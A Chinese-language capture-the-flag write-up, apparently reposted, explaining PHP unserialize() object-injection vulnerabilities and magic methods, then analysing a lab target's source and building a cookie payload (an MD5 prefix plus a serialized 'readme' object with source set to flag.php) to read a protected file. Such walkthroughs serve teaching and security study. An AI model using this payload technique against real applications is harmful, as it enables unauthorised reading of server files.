unserialize反序列化漏洞


什么是反序列化?
序列化就是將對象的狀態信息轉為字符串儲存起來,那么反序列化就是再將這個狀態信息拿出來使用。(重新再轉化為對象或者其他的)
當在php中創建了一個對象后,可以通過serialize()把這個對象轉變成一個字符串,保存對象的值方便之后的傳遞與使用。


與 serialize() 對應的,unserialize()可以從已存儲的表示中創建PHP的值,單就本次環境而言,可以從序列化后的結果中恢復對象(object)


本質上serialize()和unserialize()在PHP內部實現上是沒有漏洞的,漏洞的主要產生是由於應用程序在處理對象、魔術函數以及序列化相關問題的時候導致的。
當傳給 unserialize() 的參數可控時,那么用戶就可以注入精心構造的payload。當進行反序列化的時候就有可能會觸發對象中的一些魔術方法,造成意想不到的危害。
php中有一類特殊的方法叫“Magic function”(魔術方法), 這里我們着重關注一下幾個:
construct():當對象創建(new)時會自動調用。但在unserialize()時是不會自動調用的。(構造函數) destruct():當對象被銷毀時會自動調用。(析構函數)
__wakeup() :如前所提,unserialize()時會自動調用。

首先來了解下toString()方法,當打印一個對象時,如果定義了toString()方法,就能在測試時,通過echo打印對象體,對象就會自動調用它所屬類定義的toString方法,格式化輸出這個對象所包含的數據。

同時發現$s->source = FILE存在可控變量
嘗試構造序列化對象

靶場源碼分析:http://117.167.136.245:21880/uns/index.php?source
Class readme{
public function toString()
{
return highlight_file(‘Readme.txt’, true).highlight_file($this->source, true);
}
}
——tostring()魔術方法,當輸出一個文件對象時,將其轉化為字符串輸出,且顯示為代碼高亮;
if(isset($_GET[‘source’])){
$s = new readme();
$s->source =
FILE__;
echo $s;
exit;
}

獲取get傳參中source的值(有的話),$S新生成一個對象,對象中的source屬性指向為_FILE(即目錄本身、當前路徑),輸出$_s這個對象(當然輸出時為自動調用__ToString()魔術方法)。最后有一個exit,執行這一塊會退出,所以我們不能讓這一塊執行,所以不能有get傳參。
if(isset($_COOKIE[‘todos’])){
$c = $_COOKIE[‘todos’];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
這一塊是對cookie的檢測和執行,並且有反序列化函數unserialize(),所以這一塊是我們需要操作的。這一段代碼首先獲取傳入的cookie值賦值給$c,並且cookie的前三十二位值賦值給$h,后面的賦值給$m,如果后三十二位MD5編碼結果與前三十二位相同,則為$todos賦值$m作為參數反序列化執行的結果。配合下面一段代碼遍歷輸出$todos。
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
再下面一段是關於POST傳參的判斷執行(沒有反序列化函數,不能利用):
if(isset($_POST[‘text’])){
$todo = $_POST[‘text’];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie(‘todos’, $h.$m);
header(‘Location: ‘.$_SERVER[‘REQUEST_URI’]);
exit;
}
?>
然后我們就要利用cookie的傳參來讀取flag.php這一文檔


構造payload:

e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0%3bO:6:"readme":1:{s:6:"source"%3bs:8:"flag.php"%3b}}
抓包 修改cookie:


獲得flag:

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM